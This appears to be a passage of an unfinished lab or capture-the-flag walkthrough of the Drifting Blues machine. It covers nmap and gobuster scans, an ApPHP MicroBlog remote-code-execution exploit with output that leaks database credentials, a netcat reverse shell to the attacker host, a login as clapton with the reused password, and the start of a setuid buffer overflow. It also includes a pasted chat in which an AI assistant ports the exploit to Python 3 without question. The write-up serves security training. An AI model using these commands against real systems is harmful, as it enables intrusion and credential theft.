

```

> cat objective -l python -p
# Nmap 7.95 scan initiated Fri Mar 21 14:40:23 2025 as: /usr/lib/nmap/nmap --privileged -sCV -
Nmap scan report for 10.0.2.73
Host is up (0.00017s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_ http-generator: ApPHP MicroBlog vCURRENT_VERSION
|_ http-title: ApPHP MicroBlog
|_ http-cookie-flags:
|_ /:
|_ PHPSESSID:
|_ httponly flag not set
|_ http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
|_ rpcinfo:
|_   program version    port/proto  service
|_   100000    2,3,4        111/tcp    rpcbind
|_   100000    2,3,4        111/udp    rpcbind
|_   100000    3,4          111/tcp6   rpcbind
|_   100000    3,4          111/udp6   rpcbind
|_   100024    1            40022/tcp  status
|_   100024    1            45970/udp6 status
|_   100024    1            47553/tcp6 status
|_   100024    1            51298/udp  status
40022/tcp open  status 1 (RPC #100024)
MAC Address: 08:00:27:74:B5:DA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
# Nmap done at Fri Mar 21 14:40:35 2025 -- 1 IP address (1 host up) scanned in 11.98 seconds

```

```

> gobuster dir -u http://10.0.2.73 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,xml -t 200
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.0.2.73
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt,xml
[+] Timeout: 10s

Starting gobuster in directory enumeration mode
=====
./php (Status: 403) [Size: 274]
./html (Status: 403) [Size: 274]
/images (Status: 301) [Size: 307] [--> http://10.0.2.73/images/]
/index.php (Status: 200) [Size: 5646]
/page (Status: 301) [Size: 305] [--> http://10.0.2.73/page/]
/docs (Status: 301) [Size: 305] [--> http://10.0.2.73/docs/]
/header.php (Status: 200) [Size: 13]
/admin (Status: 301) [Size: 306] [--> http://10.0.2.73/admin/]
/footer.php (Status: 500) [Size: 614]
/license (Status: 301) [Size: 308] [--> http://10.0.2.73/license/]
/README.txt (Status: 200) [Size: 975]
/ls (Status: 301) [Size: 303] [--> http://10.0.2.73/ls/]
/include (Status: 301) [Size: 308] [--> http://10.0.2.73/include/]
/backup (Status: 301) [Size: 307] [--> http://10.0.2.73/backup/]
/styles (Status: 301) [Size: 307] [--> http://10.0.2.73/styles/]
/INSTALL.txt (Status: 200) [Size: 1201]
/rss.xml (Status: 200) [Size: 1728]
./html (Status: 403) [Size: 274]
./php (Status: 403) [Size: 274]
./wysiwyg (Status: 301) [Size: 308] [--> http://10.0.2.73/wysiwyg/]
/server-status (Status: 403) [Size: 274]
/mails (Status: 301) [Size: 306] [--> http://10.0.2.73/mails/]

```

10.0.2.73/index.php?page=login

SonarQube CCNA OTW HMVM DL VHB THL R-M THM PS HTB

Drifting Blues Tech

Your #1 Tech Company

Home | Drifting Blues

Admin Login

Username

Password

[Forgot Password?](#)

Drifting Blues Tech | Admin Login

```

1 <!-- This script was generated by ApPHP MicroBlog v.1.0.1 (http://www.apphp.com/php-microblog/) -->
2
3 searchsploit apphp
4 -----
5 Exploit Title | Path
6 -----
7 ApPHP MicroBlog 1.0.1 - Multiple Vulnerabilities | php/webapps/33030.txt
8 ApPHP MicroBlog 1.0.1 - Remote Command Execution | php/webapps/33070.py
9 ApPHP MicroBlog 1.0.2 - Cross-Site Request Forgery (Add New Author) | php/webapps/40506.html
10 ApPHP MicroBlog 1.0.2 - Persistent Cross-Site Scripting | php/webapps/40505.txt
11 ApPHP MicroCMS 3.9.5 - Cross-Site Request Forgery (Add Admin) | php/webapps/40517.html
12 ApPHP MicroCMS 3.9.5 - Persistent Cross-Site Scripting | php/webapps/40516.txt

```

ApPHP MicroBlog 1.0.1 - Remote Command Execution

Author:

LOTFREE

Type:



WEBAPPS


Platform:

PHP

Date:

2014-04-28

Exploit:  / 

Vulnerable App: 

hola me puedes corregir este codigo de python para que funcione en mi kali linux?

¡Hola! Claro, estaré encantado de ayudarte a corregir tu código de Python para que funcione en tu Kali Linux. Por favor, proporciona el código que necesitas corregir y cualquier mensaje de error o problema específico que estés enfrentando.

```

#!/usr/bin/python
import random
import hashlib
import urllib
from base64 import b64encode as b64

```



El código que has proporcionado es un exploit para una vulnerabilidad de ejecución remota de comandos (RCE) en ApPHP MicroBlog 1.0.1. Sin embargo, hay algunos problemas y mejoras que se pueden hacer para que funcione correctamente en Python 3 en Kali Linux. Aquí tienes una versión corregida y actualizada del código:

 Copiar

```

#!/usr/bin/python3
import random
import hashlib
import urllib.request
from base64 import b64encode as b64
import sys
import re

# Exploit Title: Python exploit for ApPHP MicroBlog 1.0.1 (Free Version) - RCE
# Exploit Author: LOTFREE
# Version: ApPHP MicroBlog 1.0.1 (Free Version)
# EDB-ID: 33030

print(" == LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) ==")
print("original exploit by Jiko : http://www.exploit-db.com/exploits/33030/")

```

```
> python3 exploit.py http://10.0.2.73
== LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) ==
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable

[*] Fetching phpinfo
PHP Version 5.6.40-0+deb8u12
System Linux debian 3.16.0-4-586 #1 Debian 3.16.51-2 (2017-12-03) i686
Loaded Configuration File /etc/php5/apache2/php.ini
Apache Version Apache/2.4.10 (Debian)
User/Group www-data(33)/33
Server Root /etc/apache2
DOCUMENT_ROOT /var/www/html
PHP Version 5.6.40-0+deb8u12
allow_url_fopen On On
allow_url_include Off Off
disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsigalr,pcntl_wifsignaled,pcntl_wifwaited,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
open_basedir no value no value
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus

[*] Fetching include/base.inc.php
<?php
// DATABASE CONNECTION INFORMATION
define('DATABASE_HOST', 'localhost'); // Database host
define('DATABASE_NAME', 'microblog'); // Name of the database to be used
define('DATABASE_USERNAME', 'clapton'); // User name for access to database
define('DATABASE_PASSWORD', 'yaraklitepe'); // Password for access to database
define('DB_ENCRYPT_KEY', 'p52plaiqb8'); // Database encryption key
define('DB_PREFIX', 'mb101_'); // Unique prefix of all table names in the database
?>
```

```
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
> nc 10.0.2.65 1234 -e /bin/sh
```

```
www-data@debian:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
www-data@debian:/var/www/html$ su clapton
su clapton
Password: yaraklitepe
clapton@debian:/var/www/html$ |
```

```
clapton@debian:~$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/sbin/mount.nfs
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/sbin/exim4
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/home/clapton/input
```


```
clapton@debian:~$ ls -la
ls -la
total 24
dr-x----- 2 clapton clapton 4096 May 9 2021 .
drwxr-xr-x 3 root root 4096 May 9 2021 ..
-rwsr-xr-x 1 root root 5150 Sep 22 2015 input
-rwxr-xr-x 1 root root 201 May 9 2021 note.txt
-rw-r--r-- 1 clapton clapton 32 May 9 2021 user.txt
```

```
clapton@debian:~$ ls
input note.txt user.txt
clapton@debian:~$ cat note.txt
buffer overflow is the way. ( ° 3 ° )

if you're new on 32bit bof then check these:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm

clapton@debian:~$ cat user.txt
F569AA95FAFF65E7A290AB9ED031E04Fclapton@debian:~$
clapton@debian:~$ file input
input: setuid ELF 32-bit LSB executable, Intel 80386, version 1
f110c88e61ad0c10, not stripped
```

 **Objetivo:** Escalar privilegios explotando un buffer overflow en `input`, aprovechando que tiene el bit setuid.

Paso 1: Verifica el propietario y permisos

Primero confirma que efectivamente se ejecuta como root:

```
bash
```

[Copiar](#)[Editar](#)

```
ls -l input
```

Debes ver algo así:

```
bash
```

[Copiar](#)[Editar](#)

```
-rwsr-xr-x 1 root root 12345 Mar 21 10:00 input
```

✅ Si el propietario es `root` y tiene la `s` en lugar de `x`, vas bien.

Luego, copia la salida (que debería ser 100 caracteres `A`) y ejecútalo directamente con `gdb`, como:

```
bash
```

[Copiar](#)[Editar](#)

```
gdb ./input
```

```
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
the program has no registers now:
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
Starting program: /home/clapton/input AAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

NO TERMINADA